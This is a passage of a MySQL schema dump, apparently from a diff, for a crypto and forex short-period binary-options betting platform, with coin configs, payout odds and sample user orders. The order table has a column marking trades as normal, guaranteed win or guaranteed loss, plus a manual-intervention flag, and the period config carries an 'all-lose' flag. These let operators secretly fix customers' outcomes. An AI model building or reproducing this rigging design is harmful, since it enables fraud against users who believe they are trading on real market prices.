`total_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '总发行量', + `participants_num` int(0) NULL DEFAULT NULL COMMENT '参与人数', + `raising_time` int(0) NULL DEFAULT NULL COMMENT '筹集期限', + `begin_time` datetime(0) NULL DEFAULT NULL COMMENT '开始时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `introduce` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '介绍', + `status` int(0) NULL DEFAULT NULL COMMENT '1.未发布 2.筹集中 3 筹集成功 4.筹集失败', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '平台发币' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_own_coin_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin_order`; +CREATE TABLE `t_own_coin_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单ID', + `own_id` bigint(0) NULL DEFAULT NULL COMMENT '申购币种ID', + `own_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '申购币种', + `amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '申购额(usdt)', + `number` int(0) NULL DEFAULT NULL COMMENT '申购数量', + `price` decimal(20, 2) NULL DEFAULT NULL COMMENT '申购价', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '状态', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '上级用户IDS', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '上级后台用户IDS', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_own_coin_subscribe_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_own_coin_subscribe_order`; +CREATE TABLE `t_own_coin_subscribe_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `subscribe_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订阅单号ID', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单ID', + `own_id` bigint(0) NULL DEFAULT NULL COMMENT '申购币种ID', + `own_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '申购币种', + `amount_limit` decimal(20, 4) NOT NULL DEFAULT 0.0000 COMMENT '申购额(usdt)', + `num_limit` int(0) NOT NULL DEFAULT 0 COMMENT '申购数量上限', + `price` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '申购价', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '状态,1订阅中、2订阅成功、3成功消息推送完成', + `remark` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注', + `create_time` datetime(0) NULL DEFAULT CURRENT_TIMESTAMP(0), + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_second_coin_config +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_coin_config`; +CREATE TABLE `t_second_coin_config` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '合约交易对', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '所属交易所', + `status` int(0) NULL DEFAULT NULL COMMENT '是否启用 2关闭 1启用', + `show_flag` int(0) NULL DEFAULT NULL COMMENT '是否展示 2不展示 1展示', + `coin` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `base_coin` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '结算币种', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示币种', + `type` int(0) NULL DEFAULT NULL COMMENT '币种类型 1 外汇 2虚拟币', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 67 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约币种配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_coin_config +-- ---------------------------- +INSERT INTO `t_second_coin_config` VALUES (42, 'btcusdt', 'binance', 1, 1, 'btc', 0, 'admin', '2023-08-21 19:31:45', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'usdt', 'BTC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (43, 'ethusdt', 'binance', 1, 1, 'eth', 1, 'admin', '2023-08-21 19:32:18', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'usdt', 'ETH/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (44, 'xrpusdt', 'binance', 1, 1, 'xrp', 2, 'admin', '2023-08-21 19:32:45', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'usdt', 'XRP/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (45, 'ltcusdt', 'binance', 1, 1, 'ltc', 3, 'admin', '2023-08-21 19:33:09', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'usdt', 'LTC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (46, 'bnbusdt', 'binance', 1, 1, 'bnb', 4, 'admin', '2023-08-21 19:33:38', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'usdt', 'BNB/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (47, 'maticusdt', 'binance', 1, 1, 'matic', 5, 'admin', '2023-08-21 19:34:55', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'usdt', 'MATIC/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (48, 'solusdt', 'binance', 1, 1, 'sol', 6, 'admin', '2023-08-21 19:35:15', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'usdt', 'SOL/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (49, 'dogeusdt', 'binance', 1, 1, 'doge', 7, 'admin', '2023-08-21 19:35:41', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'usdt', 'DOGE/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (50, 'trxusdt', 'binance', 1, 1, 'trx', 8, 'admin', '2023-08-21 19:35:56', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'usdt', 'TRX/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (53, 'blzusdt', 'binance', 1, 1, 'blz', 9, 'admin', '2023-08-22 10:22:37', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', 'usdt', 'BLZ/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (57, 'leverusdt', 'binance', 1, 1, 'lever', 11, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-03 04:31:49', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'usdt', 'LEVER/USDT', 2); +INSERT INTO `t_second_coin_config` VALUES (58, 'EURUSD', 'mt5', 1, 1, 'EURUSD', 21, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/EURUSD.png', 'EURUSD', 'EURUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (59, 'NZDUSD', 'mt5', 1, 1, 'NZDUSD', 22, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/NZDUSD.png', 'NZDUSD', 'NZDUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (60, 'GBPUSD', 'mt5', 1, 1, 'GBPUSD', 23, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:30:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPUSD.png', 'GBPUSD', 'GBPUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (61, 'USDJPY', 'mt5', 1, 1, 'USDJPY', 24, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:32:44', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/USDJPY.png', 'USDJPY', 'USDJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (62, 'AUDUSD', 'mt5', 1, 1, 'AUDUSD', 25, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:33:31', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDUSD.png', 'AUDUSD', 'AUDUSD', 1); +INSERT INTO `t_second_coin_config` VALUES (63, 'AUDJPY', 'mt5', 1, 1, 'AUDJPY', 26, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:34:15', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/AUDJPY.png', 'AUDJPY', 'AUDJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (64, 'GBPJPY', 'mt5', 1, 1, 'GBPJPY', 27, 'admin', '2023-11-19 00:24:20', 'admin', '2023-11-18 16:34:18', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/GBPJPY.png', 'GBPJPY', 'GBPJPY', 1); +INSERT INTO `t_second_coin_config` VALUES (65, 'XAU', 'metal', 1, 1, 'XAU', 31, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-18 16:38:10', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAU.png', 'XAU', 'XAU/USDT', 3); +INSERT INTO `t_second_coin_config` VALUES (66, 'XAG', 'metal', 1, 1, 'XAG', 32, 'admin', '2023-08-22 17:18:15', NULL, '2023-11-18 16:39:07', NULL, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/XAG.png', 'XAG', 'XAG/USDT', 3); + +-- ---------------------------- +-- Table structure for t_second_contract_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_contract_order`; +CREATE TABLE `t_second_contract_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `order_no` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '订单号', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '类型', + `user_id` int(0) NOT NULL COMMENT '用户id', + `user_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '用户地址', + `bet_content` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '预测方向:0 涨 1跌', + `open_result` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '开奖结果', + `status` int(0) NOT NULL COMMENT '订单状态 0参与中 1已开奖 2已撤销', + `rate_flag` int(0) NULL DEFAULT NULL COMMENT '是否全输', + `bet_amount` decimal(16, 4) NOT NULL COMMENT '投注金额', + `reward_amount` decimal(16, 4) NULL DEFAULT NULL COMMENT '获奖金额', + `compensation_amount` decimal(16, 4) NULL DEFAULT 0.0000 COMMENT '赔偿金额', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `open_price` decimal(20, 12) NULL DEFAULT NULL COMMENT '开盘价格', + `close_price` decimal(20, 12) NULL DEFAULT NULL COMMENT '关盘价格', + `open_time` bigint(0) NULL DEFAULT NULL COMMENT '开盘时间', + `close_time` bigint(0) NULL DEFAULT NULL COMMENT '关盘时间', + `coin_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币符号', + `base_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '结算币符号', + `sign` int(0) NULL DEFAULT NULL COMMENT '订单标记 0正常 1包赢 2包输', + `manual_intervention` int(0) NULL DEFAULT NULL COMMENT '是否人工干预 0是 1否', + `rate` decimal(16, 6) NULL DEFAULT NULL, + `create_by` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ID', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1612 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_contract_order +-- ---------------------------- +INSERT INTO `t_second_contract_order` VALUES (1600, 'R1229102630996', 'btcusdt', '30', 309, NULL, '0', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2023-12-29 18:26:21', 42710.070000000000, 41163.510000000000, 1703845579856, 1703845609313, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1601, 'R0119040720814', 'btcusdt', '30', 315, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:07:08', 41130.400000000000, 41163.510000000000, 1705637228060, 1705637256212, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1602, 'R0119041378875', 'btcusdt', '30', 309, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:13:49', 41060.000000000000, 41163.510000000000, 1705637628690, 1705637656790, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1603, 'R0119041432296', 'btcusdt', '30', 309, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:14:58', 41062.080000000000, 41163.510000000000, 1705637698351, 1705637726324, 'btc', 'usdt', 1, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1604, 'R0119041986880', 'btcusdt', '30', 320, NULL, '1', '1', 1, 1, 20.0000, 22.4000, 0.0000, '2024-01-19 12:19:31', 41144.940000000000, 41163.510000000000, 1705637970886, 1705637998870, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1605, 'R0119042149621', 'btcusdt', '30', 315, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:21:32', 41177.140000000000, 41194.000000000000, 1705638091348, 1705638119499, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1606, 'R0119042127854', 'btcusdt', '30', 320, NULL, '1', '1', 1, 1, 10.0000, 11.2000, 0.0000, '2024-01-19 12:21:32', 41177.140000000000, 41194.000000000000, 1705638092302, 1705638120280, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1607, 'R0119042345063', 'btcusdt', '30', 315, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-01-19 12:23:02', 41210.680000000000, 41179.220000000000, 1705638182319, 1705638210452, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1608, 'R0119070836062', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-01-19 15:08:19', 41496.360000000000, 41489.540000000000, 1705648098873, 1705648127363, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1609, 'R0119111043919', 'bnbusdt', '30', 320, NULL, '1', '3', 1, 1, 10.0000, 10.0000, 0.0000, '2024-01-19 19:10:20', 313.900000000000, 313.900000000000, 1705662620379, 1705662648442, 'bnb', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1610, 'R021108153163', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-02-11 16:15:55', 48257.410000000000, 48252.000000000000, 1707639356922, 1707639383034, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_second_contract_order` VALUES (1611, 'R0211081641474', 'btcusdt', '30', 309, NULL, '1', '2', 1, 1, 10.0000, 0.0000, 0.0000, '2024-02-11 16:16:10', 48254.300000000000, 48233.990000000000, 1707639355400, 1707639398416, 'btc', 'usdt', 0, 1, 0.120000, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_second_period_config +-- ---------------------------- +DROP TABLE IF EXISTS `t_second_period_config`; +CREATE TABLE `t_second_period_config` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `second_id` bigint(0) NULL DEFAULT NULL COMMENT '秒合约币种配置id', + `period` int(0) NULL DEFAULT NULL COMMENT '时间周期 单位秒', + `odds` decimal(18, 4) NULL DEFAULT NULL COMMENT '赔率', + `max_amount` decimal(18, 4) NULL DEFAULT NULL COMMENT '最大金额', + `min_amount` decimal(18, 4) NULL DEFAULT NULL COMMENT '最小金额', + `status` int(0) NULL DEFAULT NULL COMMENT '1开启 2关闭', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `flag` int(0) NULL DEFAULT NULL COMMENT '全输标识', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 96 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '秒合约币种周期配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_second_period_config +-- ---------------------------- +INSERT INTO `t_second_period_config` VALUES (21, 42, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:04:07', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (22, 42, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:05:45', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (23, 42, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:05:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (24, 42, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:06:04', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (25, 42, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:06:10', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (26, 43, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:18:53', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (27, 43, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:18:59', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (28, 43, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:19:10', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (29, 43, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:19:19', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (30, 43, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:19:27', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (31, 44, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:19:45', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (32, 44, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:20:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (33, 44, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:20:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (34, 44, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:20:46', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (35, 44, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:20:53', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (36, 45, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:21:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (37, 45, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:21:40', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (38, 45, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:21:47', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (39, 45, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:21:54', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (40, 45, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:22:00', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (41, 46, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:22:19', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (42, 46, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:22:26', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (43, 46, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:22:32', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (44, 46, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:22:37', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (45, 46, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:22:43', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (46, 47, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:23:11', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (47, 47, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:23:17', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (48, 47, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:23:23', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (49, 47, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:23:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (50, 47, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:23:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (51, 48, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:23:49', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (52, 48, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:23:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (53, 48, 300, 0.2000, 50000.0000, 500.0000, NULL, 